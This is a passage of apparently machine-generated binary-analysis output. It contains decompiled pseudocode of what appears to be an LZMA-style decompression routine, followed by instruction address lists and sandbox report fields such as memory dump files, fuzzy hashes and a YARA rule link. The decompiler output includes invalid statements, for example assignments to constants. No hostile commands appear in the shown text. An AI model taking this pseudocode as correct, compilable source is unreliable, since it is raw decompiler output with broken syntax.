							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							_v48 = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								_v76 = __ecx;
								L105:
								__eflags = _v76;
								if(_v76 <= 0) {
									__eax = __eax + __ebx;
									_v68 = 4;
									_v48 = __eax;
									__eax = _v8;
									__eax = _v8 + 0x644;
									__eflags = __eax;
									L111:
									__ebx = 0;
									_v92 = __eax;
									_v84 = 1;
									_v72 = 0;
									_v76 = 0;
									L115:
									__eax = _v68;
									__eflags = _v76 - _v68;
									if(_v76 >= _v68) {
										_t397 =  &_v48;
										 *_t397 = _v48 + __ebx;
										__eflags =  *_t397;
										goto L122;
									}
									__eax = _v84;
									_v20 = _v20 >> 0xb;
									__edi = _v84 + _v84;
									__eax = _v92;
									__esi = __edi + __eax;
									_v88 = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = (_v20 >> 0xb) * __ecx;
									__eflags = _v16 - __edx;
									if(_v16 >= __edx) {
										__ecx = 0;
										_v20 = _v20 - __edx;
										__ecx = 1;
										_v16 = _v16 - __edx;
										__ebx = 1;
										__ecx = _v76;
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx = _v72;
										__ebx = _v72 | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										_v72 = __ebx;
										 *__esi = __ax;
										_v84 = __edi;
									} else {
										_v20 = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										_v84 = _v84 << 1;
										 *__esi = __dx;
									}
									__eflags = _v20 - 0x1000000;
									if(_v20 >= 0x1000000) {
										L114:
										_t374 =  &_v76;
										 *_t374 = _v76 + 1;
										__eflags =  *_t374;
										goto L115;
									} else {
										goto L112;
									}
								}
								__ecx = _v16;
								__ebx = __ebx + __ebx;
								_v20 = _v20 >> 1;
								__eflags = _v16 - _v20;
								_v72 = __ebx;
								if(_v16 >= _v20) {
									__ecx = _v20;
									_v16 = _v16 - _v20;
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									_v72 = __ebx;
								}
								__eflags = _v20 - 0x1000000;
								if(_v20 >= 0x1000000) {
									L104:
									_t344 =  &_v76;
									 *_t344 = _v76 - 1;
									__eflags =  *_t344;
									goto L105;
								} else {
									goto L102;
								}
							}
							__edx = _v8;
							__eax = __eax - __ebx;
							_v68 = __ecx;
							__eax = _v8 + 0x55e + __eax * 2;
							goto L111;
						case 0x1a:
							L58:
							__eflags = _v104;
							if(_v104 == 0) {
								_v140 = 0x1a;
								goto L173;
							}
							__ecx = _v108;
							__al = _v96;
							__edx = _v12;
							_v100 = _v100 + 1;
							_v108 = _v108 + 1;
							_v104 = _v104 - 1;
							 *_v108 = __al;
							__ecx = _v24;
							 *(_v12 + __ecx) = __al;
							__eax = __ecx + 1;
							__edx = 0;
							_t197 = __eax % _v120;
							__eax = __eax / _v120;
							__edx = _t197;
							goto L82;
						case 0x1b:
							L78:
							__eflags = _v104;
							if(_v104 == 0) {
								_v140 = 0x1b;
								goto L173;
							}
							__eax = _v24;
							__eax = _v24 - _v48;
							__eflags = __eax - _v120;
							if(__eax >= _v120) {
								__eax = __eax + _v120;
								__eflags = __eax;
							}
							__edx = _v12;
							__cl =  *(__edx + __eax);
							__eax = _v24;
							_v96 = __cl;
							 *(__edx + __eax) = __cl;
							__eax = __eax + 1;
							__edx = 0;
							_t280 = __eax % _v120;
							__eax = __eax / _v120;
							__edx = _t280;
							__eax = _v108;
							_v100 = _v100 + 1;
							_v108 = _v108 + 1;
							_t289 =  &_v104;
							 *_t289 = _v104 - 1;
							__eflags =  *_t289;
							 *_v108 = __cl;
							L82:
							_v24 = __edx;
							goto L83;
						case 0x1c:
							while(1) {
								L126:
								__eflags = _v104;
								if(_v104 == 0) {
									break;
								}
								__eax = _v24;
								__eax = _v24 - _v48;
								__eflags = __eax - _v120;
								if(__eax >= _v120) {
									__eax = __eax + _v120;
									__eflags = __eax;
								}
								__edx = _v12;
								__cl =  *(__edx + __eax);
								__eax = _v24;
								_v96 = __cl;
								 *(__edx + __eax) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t420 = __eax % _v120;
								__eax = __eax / _v120;
								__edx = _t420;
								__eax = _v108;
								_v108 = _v108 + 1;
								_v104 = _v104 - 1;
								_v52 = _v52 - 1;
								__eflags = _v52;
								 *_v108 = __cl;
								_v24 = _t420;
								if(_v52 > 0) {
									continue;
								} else {
									L83:
									_v140 = 2;
									goto L3;
								}
							}
							_v140 = 0x1c;
							L173:
							_push(0x22);
							_pop(_t574);
							memcpy(_v148,  &_v140, _t574 << 2);
							return 0;
					}
				}
				L174:
				_t538 = _t537 | 0xffffffff;
				return _t538;
			}

0x00406abc
0x00406ac3
0x00406ac9
0x00406acf
0x00000000
0x00406ad3
0x00406adf
0x00406adf
0x00406adf
0x00406ae8
0x00000000
0x00000000
0x00406aee
0x00000000
0x00406af5
0x00406af9
0x00000000
0x00000000
0x00406b02
0x00406b05
0x00406b08
0x00406b0a
0x00406b0c
0x00000000
0x00000000
0x00406b12
0x00406b15
0x00406b17
0x00406b18
0x00406b1b
0x00406b1d
0x00406b1e
0x00406b20
0x00406b23
0x00406b28
0x00406b2d
0x00406b36
0x00406b49
0x00406b4c
0x00406b55
0x00406b58
0x00406b80
0x00406b80
0x00406b82
0x00406b90
0x00406b90
0x00406b94
0x00000000
0x00000000
0x00000000
0x00000000
0x00406b84
0x00406b84
0x00406b87
0x00406b87
0x00406b88
0x00406b88
0x00000000
0x00406b84
0x00406b5a
0x00406b5e
0x00406b63
0x00406b63
0x00406b6c
0x00406b72
0x00406b74
0x00406b77
0x00000000
0x00406b7d
0x00406b7d
0x00000000
0x00406b7d
0x00000000
0x00406b9a
0x00406b9a
0x00406b9e
0x0040744a
0x00000000
0x0040744a
0x00406ba7
0x00406bb7
0x00406bba
0x00406bbd
0x00406bbd
0x00406bbd
0x00406bc0
0x00406bc0
0x00406bc4
0x00000000
0x00000000
0x00406bc6
0x00406bc9
0x00406bcc
0x00406bf6
0x00406bfc
0x00406c03
0x00000000
0x00406c03
0x00406bce
0x00406bd2
0x00406bd5
0x00406bda
0x00406bda
0x00406be5
0x00406beb
0x00406bed
0x00406bf0
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406c35
0x00406c3b
0x00406c3e
0x00406c4b
0x00406c53
0x00000000
0x00000000
0x00406c0a
0x00406c0a
0x00406c0e
0x00407459
0x00000000
0x00407459
0x00406c1a
0x00406c25
0x00406c25
0x00406c25
0x00406c28
0x00406c2b
0x00406c2e
0x00406c31
0x00406c33
0x00000000
0x00000000
0x00000000
0x00000000
0x004072ca
0x004072ca
0x004072d0
0x004072d6
0x004072d9
0x004072dc
0x004072f6
0x004072f9
0x004072ff
0x0040730a
0x0040730a
0x0040730c
0x004072de
0x004072de
0x004072ed
0x004072f1
0x004072f1
0x0040730f
0x00407316
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00407318
0x00407318
0x0040731c
0x004074cb
0x00000000
0x004074cb
0x00407328
0x0040732f
0x00407337
0x00407337
0x00407337
0x0040733a
0x0040733d
0x0040733d
0x00000000
0x00000000
0x00406c5b
0x00406c5d
0x00406c60
0x00406cd1
0x00406cd4
0x00406cd7
0x00406cde
0x00406ce8
0x00000000
0x00406ce8
0x00406c62
0x00406c66
0x00406c69
0x00406c6b
0x00406c6e
0x00406c71
0x00406c73
0x00406c76
0x00406c78
0x00406c7d
0x00406c80
0x00406c83
0x00406c87
0x00406c8e
0x00406c91
0x00406c98
0x00406c9c
0x00406ca4
0x00406ca4
0x00406ca4
0x00406c9e
0x00406c9e
0x00406c9e
0x00406c93
0x00406c93
0x00406c93
0x00406ca8
0x00406cab
0x00406cc9
0x00406ccb
0x00000000
0x00406ccb
0x00406cad
0x00406cb0
0x00406cb3
0x00406cb6
0x00406cb8
0x00406cb8
0x00406cb8
0x00406cbb
0x00406cbe
0x00406cc0
0x00406cc1
0x00406cc4
0x00000000
0x00000000
0x00406efa
0x00406efe
0x00406f1c
0x00406f1f
0x00406f26
0x00406f29
0x00406f2c
0x00406f2f
0x00406f32
0x00406f35
0x00406f37
0x00406f3e
0x00406f3f
0x00406f41
0x00406f44
0x00406f47
0x00406f4a
0x00406f4a
0x00406f4f
0x00000000
0x00406f4f
0x00406f00
0x00406f03
0x00406f06
0x00406f10
0x00000000
0x00000000
0x00406f64
0x00406f68
0x00406f8b
0x00406f8e
0x00406f91
0x00406f9b
0x00406f6a
0x00406f6a
0x00406f6d
0x00406f70
0x00406f73
0x00406f80
0x00406f83
0x00406f83
0x00000000
0x00000000
0x00406fa7
0x00406fab
0x00000000
0x00000000
0x00406fb1
0x00406fb5
0x00000000
0x00000000
0x00406fbb
0x00406fbd
0x00406fc1
0x00406fc1
0x00406fc4
0x00406fc8
0x00000000
0x00000000
0x00407018
0x0040701c
0x00407023
0x00407026
0x00407029
0x00407033
0x00000000
0x00407033
0x0040701e
0x00000000
0x00000000
0x0040703f
0x00407043
0x0040704a
0x0040704d
0x00407050
0x00407045
0x00407045
0x00407045
0x00407053
0x00407056
0x00407059
0x00407059
0x0040705c
0x0040705f
0x00407062
0x00407062
0x00407065
0x0040706c
0x00407071
0x00000000
0x00000000
0x004070ff
0x004070ff
0x00407103
0x004074a1
0x00000000
0x004074a1
0x00407109
0x0040710c
0x0040710f
0x00407113
0x00407116
0x0040711c
0x0040711e
0x0040711e
0x0040711e
0x00407121
0x00407124
0x00000000
0x00000000
0x00406cf4
0x00406cf4
0x00406cf8
0x00407465
0x00000000
0x00407465
0x00406cfe
0x00406d01
0x00406d04
0x00406d08
0x00406d0b
0x00406d11
0x00406d13
0x00406d13
0x00406d13
0x00406d16
0x00406d19
0x00406d19
0x00406d1c
0x00406d1f
0x00000000
0x00000000
0x00406d25
0x00406d2b
0x00000000
0x00000000
0x00406d31
0x00406d31
0x00406d35
0x00406d38
0x00406d3b
0x00406d3e
0x00406d41
0x00406d42
0x00406d45
0x00406d47
0x00406d4d
0x00406d50
0x00406d53
0x00406d56
0x00406d59
0x00406d5c
0x00406d5f
0x00406d7b
0x00406d7e
0x00406d81
0x00406d84
0x00406d8b
0x00406d8f
0x00406d91
0x00406d95
0x00406d61
0x00406d61
0x00406d65
0x00406d6d
0x00406d72
0x00406d74
0x00406d76
0x00406d76
0x00406d98
0x00406d9f
0x00406da2
0x00000000
0x00406da8
0x00000000
0x00406da8
0x00000000
0x00406dad
0x00406dad
0x00406db1
0x00407471
0x00000000
0x00407471
0x00406db7
0x00406dba
0x00406dbd
0x00406dc1
0x00406dc4
0x00406dca
0x00406dcc
0x00406dcc
0x00406dcc
0x00406dcf
0x00406dd2
0x00406dd2
0x00406dd2
0x00406dd8
0x00000000
0x00000000
0x00406dda
0x00406ddd
0x00406de0
0x00406de3
0x00406de6
0x00406de9
0x00406dec
0x00406def
0x00406df2
0x00406df5
0x00406df8
0x00406e10
0x00406e13
0x00406e16
0x00406e19
0x00406e19
0x00406e1c
0x00406e20
0x00406e22
0x00406dfa
0x00406dfa
0x00406e02
0x00406e07
0x00406e09
0x00406e0b
0x00406e0b
0x00406e25
0x00406e2c
0x00406e2f
0x00000000
0x00406e31
0x00000000
0x00406e31
0x00406e2f
0x00406e36
0x00406e36
0x00406e36
0x00406e36
0x00000000
0x00000000
0x00406e71
0x00406e71
0x00406e75
0x0040747d
0x00000000
0x0040747d
0x00406e7b
0x00406e7e
0x00406e81
0x00406e85
0x00406e88
0x00406e8e
0x00406e90
0x00406e90
0x00406e90
0x00406e93
0x00406e96
0x00406e96
0x00406e9c
0x00406e3a
0x00406e3a
0x00406e3d
0x00000000
0x00406e3d
0x00406e9e
0x00406e9e
0x00406ea1
0x00406ea4
0x00406ea7
0x00406eaa
0x00406ead
0x00406eb0
0x00406eb3
0x00406eb6
0x00406eb9
0x00406ebc
0x00406ed4
0x00406ed7
0x00406eda
0x00406edd
0x00406edd
0x00406ee0
0x00406ee4
0x00406ee6
0x00406ebe
0x00406ebe
0x00406ec6
0x00406ecb
0x00406ecd
0x00406ecf
0x00406ecf
0x00406ee9
0x00406ef0
0x00406ef3
0x00000000
0x00406ef5
0x00000000
0x00406ef5
0x00000000
0x00407182
0x00407182
0x00407186
0x004074ad
0x00000000
0x004074ad
0x0040718c
0x0040718f
0x00407192
0x00407196
0x00407199
0x0040719f
0x004071a1
0x004071a1
0x004071a1
0x004071a4
0x00000000
0x00000000
0x00406f52
0x00406f52
0x00406f55
0x00000000
0x00000000
0x00407291
0x00407295
0x004072b7
0x004072ba
0x004072c4
0x004072c7
0x004072c7
0x00000000
0x004072c7
0x00407297
0x0040729a
0x0040729e
0x004072a1
0x004072a1
0x004072a4
0x00000000
0x00000000
0x0040734e
0x00407352
0x00407370
0x00407370
0x00407370
0x00407377
0x0040737e
0x00407385
0x00407385
0x00000000
0x00407385
0x00407354
0x00407357
0x0040735a
0x0040735d
0x00407364
0x004072a8
0x004072a8
0x004072ab
0x00000000
0x00000000
0x0040743f
0x00407442
0x00000000
0x00000000
0x00407079
0x0040707b
0x00407082
0x00407083
0x00407085
0x00407088
0x00000000
0x00000000
0x00407090
0x00407093
0x00407096
0x00407098
0x0040709a
0x0040709a
0x0040709b
0x0040709e
0x004070a5
0x004070a8
0x004070b6
0x00000000
0x00000000
0x0040738c
0x0040738c
0x0040738f
0x00407396
0x00000000
0x00000000
0x0040739b
0x0040739b
0x0040739f
0x004074d7
0x00000000
0x004074d7
0x004073a5
0x004073a8
0x004073ab
0x004073af
0x004073b2
0x004073b8
0x004073ba
0x004073ba
0x004073ba
0x004073bd
0x004073c0
0x004073c0
0x004073c0
0x004073c0
0x004073c3
0x004073c3
0x004073c7
0x00407427
0x0040742a
0x0040742f
0x00407430
0x00407432
0x00407434
0x00407437
0x00407343
0x00407343
0x00000000
0x00407343
0x004073c9
0x004073cf
0x004073d2
0x004073d5
0x004073d8
0x004073db
0x004073de
0x004073e1
0x004073e4
0x004073e7
0x004073ea
0x00407403
0x00407406
0x00407409
0x0040740c
0x00407410
0x00407412
0x00407412
0x00407413
0x00407416
0x004073ec
0x004073ec
0x004073f4
0x004073f9
0x004073fb
0x004073fe
0x004073fe
0x00407419
0x00407420
0x00000000
0x00407422
0x00000000
0x00407422
0x00000000
0x004070be
0x004070c1
0x004070f7
0x00407227
0x00407227
0x00407227
0x00407227
0x0040722a
0x0040722a
0x0040722d
0x0040722f
0x004074b9
0x00000000
0x004074b9
0x00407235
0x00407238
0x00000000
0x00000000
0x0040723e
0x00407242
0x00407245
0x00407245
0x00407245
0x00000000
0x00407245
0x004070c3
0x004070c5
0x004070c7
0x004070c9
0x004070cc
0x004070cd
0x004070cf
0x004070d1
0x004070d4
0x004070d7
0x004070ed
0x004070f2
0x0040712a
0x0040712a
0x0040712e
0x0040715a
0x0040715c
0x00407163
0x00407166
0x00407169
0x00407169
0x0040716e
0x0040716e
0x00407170
0x00407173
0x0040717a
0x0040717d
0x004071aa
0x004071aa
0x004071ad
0x004071b0
0x00407224
0x00407224
0x00407224
0x00000000
0x00407224
0x004071b2
0x004071b8
0x004071bb
0x004071be
0x004071c1
0x004071c4
0x004071c7
0x004071ca
0x004071cd
0x004071d0
0x004071d3
0x004071ec
0x004071ee
0x004071f1
0x004071f2
0x004071f5
0x004071f7
0x004071fa
0x004071fc
0x004071fe
0x00407201
0x00407203
0x00407206
0x0040720a
0x0040720c
0x0040720c
0x0040720d
0x00407210
0x00407213
0x004071d5
0x004071d5
0x004071dd
0x004071e2
0x004071e4
0x004071e7
0x004071e7
0x00407216
0x0040721d
0x004071a7
0x004071a7
0x004071a7
0x004071a7
0x00000000
0x0040721f
0x00000000
0x0040721f
0x0040721d
0x00407130
0x00407133
0x00407135
0x00407138
0x0040713b
0x0040713e
0x00407140
0x00407143
0x00407146
0x00407146
0x00407149
0x00407149
0x0040714c
0x00407153
0x00407127
0x00407127
0x00407127
0x00407127
0x00000000
0x00407155
0x00000000
0x00407155
0x00407153
0x004070d9
0x004070dc
0x004070de
0x004070e1
0x00000000
0x00000000
0x00406e40
0x00406e40
0x00406e44
0x00407489
0x00000000
0x00407489
0x00406e4a
0x00406e4d
0x00406e50
0x00406e53
0x00406e56
0x00406e59
0x00406e5c
0x00406e5e
0x00406e61
0x00406e64
0x00406e67
0x00406e69
0x00406e69
0x00406e69
0x00000000
0x00000000
0x00406fcb
0x00406fcb
0x00406fcf
0x00407495
0x00000000
0x00407495
0x00406fd5
0x00406fd8
0x00406fdb
0x00406fde
0x00406fe0
0x00406fe0
0x00406fe0
0x00406fe3
0x00406fe6
0x00406fe9
0x00406fec
0x00406fef
0x00406ff2
0x00406ff3
0x00406ff5
0x00406ff5
0x00406ff5
0x00406ff8
0x00406ffb
0x00406ffe
0x00407001
0x00407001
0x00407001
0x00407004
0x00407006
0x00407006
0x00000000
0x00000000
0x00407248
0x00407248
0x00407248
0x0040724c
0x00000000
0x00000000
0x00407252
0x00407255
0x00407258
0x0040725b
0x0040725d
0x0040725d
0x0040725d
0x00407260
0x00407263
0x00407266
0x00407269
0x0040726c
0x0040726f
0x00407270
0x00407272
0x00407272
0x00407272
0x00407275
0x00407278
0x0040727b
0x0040727e
0x00407281
0x00407285
0x00407287
0x0040728a
0x00000000
0x0040728c
0x00407009
0x00407009
0x00000000
0x00407009
0x0040728a
0x004074bf
0x004074e1
0x004074e7
0x004074e9
0x004074f0
0x00000000
0x00000000
0x00406aee
0x004074f6
0x004074f6
0x00000000

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d02973cee569c5a87d0209c7eb585da92a748f7851f7d1800b7639c908389217
Instruction ID: 835433ef786a7bbaa66b5d31b28c9fa354c7a4a33243279710ed11147b04f42a
Opcode Fuzzy Hash: d02973cee569c5a87d0209c7eb585da92a748f7851f7d1800b7639c908389217
Instruction Fuzzy Hash: F1816871D04228CBDF24CFA8C844BAEBBB0FF44305F11816AD856BB281D7786986DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00406EFA, Relevance: 5.2, APIs: 4, Instructions: 180
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406EFA() {
				signed int _t539;
				unsigned short _t540;
				signed int _t541;
				void _t542;
				signed int _t543;
				signed int _t544;
				signed int _t573;
				signed int _t576;
				signed int _t597;
				signed int* _t614;
				void* _t621;

				L0:
				while(1) {
					L0:
					if( *(_t621 - 0x40) != 1) {
						 *((intOrPtr*)(_t621 - 0x80)) = 0x16;
						 *((intOrPtr*)(_t621 - 0x20)) =  *((intOrPtr*)(_t621 - 0x24));
						 *((intOrPtr*)(_t621 - 0x24)) =  *((intOrPtr*)(_t621 - 0x28));
						 *((intOrPtr*)(_t621 - 0x28)) =  *((intOrPtr*)(_t621 - 0x2c));
						 *(_t621 - 0x38) = ((0 |  *(_t621 - 0x38) - 0x00000007 >= 0x00000000) - 0x00000001 & 0x000000fd) + 0xa;
						_t539 =  *(_t621 - 4) + 0x664;
						 *(_t621 - 0x58) = _t539;
						goto L68;
					} else {
						 *(__ebp - 0x84) = 8;
						while(1) {
							L132:
							 *(_t621 - 0x54) = _t614;
							while(1) {
								L133:
								_t540 =  *_t614;
								_t597 = _t540 & 0x0000ffff;
								_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
								if( *(_t621 - 0xc) >= _t573) {
									 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
									 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
									 *(_t621 - 0x40) = 1;
									_t541 = _t540 - (_t540 >> 5);
									 *_t614 = _t541;
								} else {
									 *(_t621 - 0x10) = _t573;
									 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
									 *_t614 = (0x800 - _t597 >> 5) + _t540;
								}
								if( *(_t621 - 0x10) >= 0x1000000) {
									goto L139;
								}
								L137:
								if( *(_t621 - 0x6c) == 0) {
									 *(_t621 - 0x88) = 5;
									L170:
									_t576 = 0x22;
									memcpy( *(_t621 - 0x90), _t621 - 0x88, _t576 << 2);
									_t544 = 0;
									L172:
									return _t544;
								}
								 *(_t621 - 0x10) =  *(_t621 - 0x10) << 8;
								 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
								 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
								 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
								L139:
								_t542 =  *(_t621 - 0x84);
								while(1) {
									 *(_t621 - 0x88) = _t542;
									while(1) {
										L1:
										_t543 =  *(_t621 - 0x88);
										if(_t543 > 0x1c) {
											break;
										}
										switch( *((intOrPtr*)(_t543 * 4 +  &M004074FE))) {
											case 0:
												if( *(_t621 - 0x6c) == 0) {
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
												_t543 =  *( *(_t621 - 0x70));
												if(_t543 > 0xe1) {
													goto L171;
												}
												_t547 = _t543 & 0x000000ff;
												_push(0x2d);
												asm("cdq");
												_pop(_t578);
												_push(9);
												_pop(_t579);
												_t617 = _t547 / _t578;
												_t549 = _t547 % _t578 & 0x000000ff;
												asm("cdq");
												_t612 = _t549 % _t579 & 0x000000ff;
												 *(_t621 - 0x3c) = _t612;
												 *(_t621 - 0x1c) = (1 << _t617) - 1;
												 *((intOrPtr*)(_t621 - 0x18)) = (1 << _t549 / _t579) - 1;
												_t620 = (0x300 << _t612 + _t617) + 0x736;
												if(0x600 ==  *((intOrPtr*)(_t621 - 0x78))) {
													L10:
													if(_t620 == 0) {
														L12:
														 *(_t621 - 0x48) =  *(_t621 - 0x48) & 0x00000000;
														 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
														goto L15;
													} else {
														goto L11;
													}
													do {
														L11:
														_t620 = _t620 - 1;
														 *((short*)( *(_t621 - 4) + _t620 * 2)) = 0x400;
													} while (_t620 != 0);
													goto L12;
												}
												if( *(_t621 - 4) != 0) {
													GlobalFree( *(_t621 - 4));
												}
												_t543 = GlobalAlloc(0x40, 0x600); // executed
												 *(_t621 - 4) = _t543;
												if(_t543 == 0) {
													goto L171;
												} else {
													 *((intOrPtr*)(_t621 - 0x78)) = 0x600;
													goto L10;
												}
											case 1:
												L13:
												__eflags =  *(_t621 - 0x6c);
												if( *(_t621 - 0x6c) == 0) {
													 *(_t621 - 0x88) = 1;
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												 *(_t621 - 0x40) =  *(_t621 - 0x40) | ( *( *(_t621 - 0x70)) & 0x000000ff) <<  *(_t621 - 0x48) << 0x00000003;
												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
												_t45 = _t621 - 0x48;
												 *_t45 =  *(_t621 - 0x48) + 1;
												__eflags =  *_t45;
												L15:
												if( *(_t621 - 0x48) < 4) {
													goto L13;
												}
												_t555 =  *(_t621 - 0x40);
												if(_t555 ==  *(_t621 - 0x74)) {
													L20:
													 *(_t621 - 0x48) = 5;
													 *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) =  *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) & 0x00000000;
													goto L23;
												}
												 *(_t621 - 0x74) = _t555;
												if( *(_t621 - 8) != 0) {
													GlobalFree( *(_t621 - 8));
												}
												_t543 = GlobalAlloc(0x40,  *(_t621 - 0x40)); // executed
												 *(_t621 - 8) = _t543;
												if(_t543 == 0) {
													goto L171;
												} else {
													goto L20;
												}
											case 2:
												L24:
												_t562 =  *(_t621 - 0x60) &  *(_t621 - 0x1c);
												 *(_t621 - 0x84) = 6;
												 *(_t621 - 0x4c) = _t562;
												_t614 =  *(_t621 - 4) + (( *(_t621 - 0x38) << 4) + _t562) * 2;
												goto L132;
											case 3:
												L21:
												__eflags =  *(_t621 - 0x6c);
												if( *(_t621 - 0x6c) == 0) {
													 *(_t621 - 0x88) = 3;
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												_t67 = _t621 - 0x70;
												 *_t67 =  &(( *(_t621 - 0x70))[1]);
												__eflags =  *_t67;
												 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
												L23:
												 *(_t621 - 0x48) =  *(_t621 - 0x48) - 1;
												if( *(_t621 - 0x48) != 0) {
													goto L21;
												}
												goto L24;
											case 4:
												L133:
												_t540 =  *_t614;
												_t597 = _t540 & 0x0000ffff;
												_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
												if( *(_t621 - 0xc) >= _t573) {
													 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
													 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
													 *(_t621 - 0x40) = 1;
													_t541 = _t540 - (_t540 >> 5);
													 *_t614 = _t541;
												} else {
													 *(_t621 - 0x10) = _t573;
													 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
													 *_t614 = (0x800 - _t597 >> 5) + _t540;
												}
												if( *(_t621 - 0x10) >= 0x1000000) {
													goto L139;
												}
											case 5:
												goto L137;
											case 6:
												__edx = 0;
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x34) = 1;
													 *(__ebp - 0x84) = 7;
													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
												__eax =  *(__ebp - 0x5c) & 0x000000ff;
												__esi =  *(__ebp - 0x60);
												__cl = 8;
												__cl = 8 -  *(__ebp - 0x3c);
												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
												__ecx =  *(__ebp - 0x3c);
												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
												__ecx =  *(__ebp - 4);
												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
												__eflags =  *(__ebp - 0x38) - 4;
												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												if( *(__ebp - 0x38) >= 4) {
													__eflags =  *(__ebp - 0x38) - 0xa;
													if( *(__ebp - 0x38) >= 0xa) {
														_t98 = __ebp - 0x38;
														 *_t98 =  *(__ebp - 0x38) - 6;
														__eflags =  *_t98;
													} else {
														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
													}
												} else {
													 *(__ebp - 0x38) = 0;
												}
												__eflags =  *(__ebp - 0x34) - __edx;
												if( *(__ebp - 0x34) == __edx) {
													__ebx = 0;
													__ebx = 1;
													goto L61;
												} else {
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__ecx =  *(__ebp - 8);
													__ebx = 0;
													__ebx = 1;
													__al =  *((intOrPtr*)(__eax + __ecx));
													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
													goto L41;
												}
											case 7:
												goto L0;
											case 8:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xa;
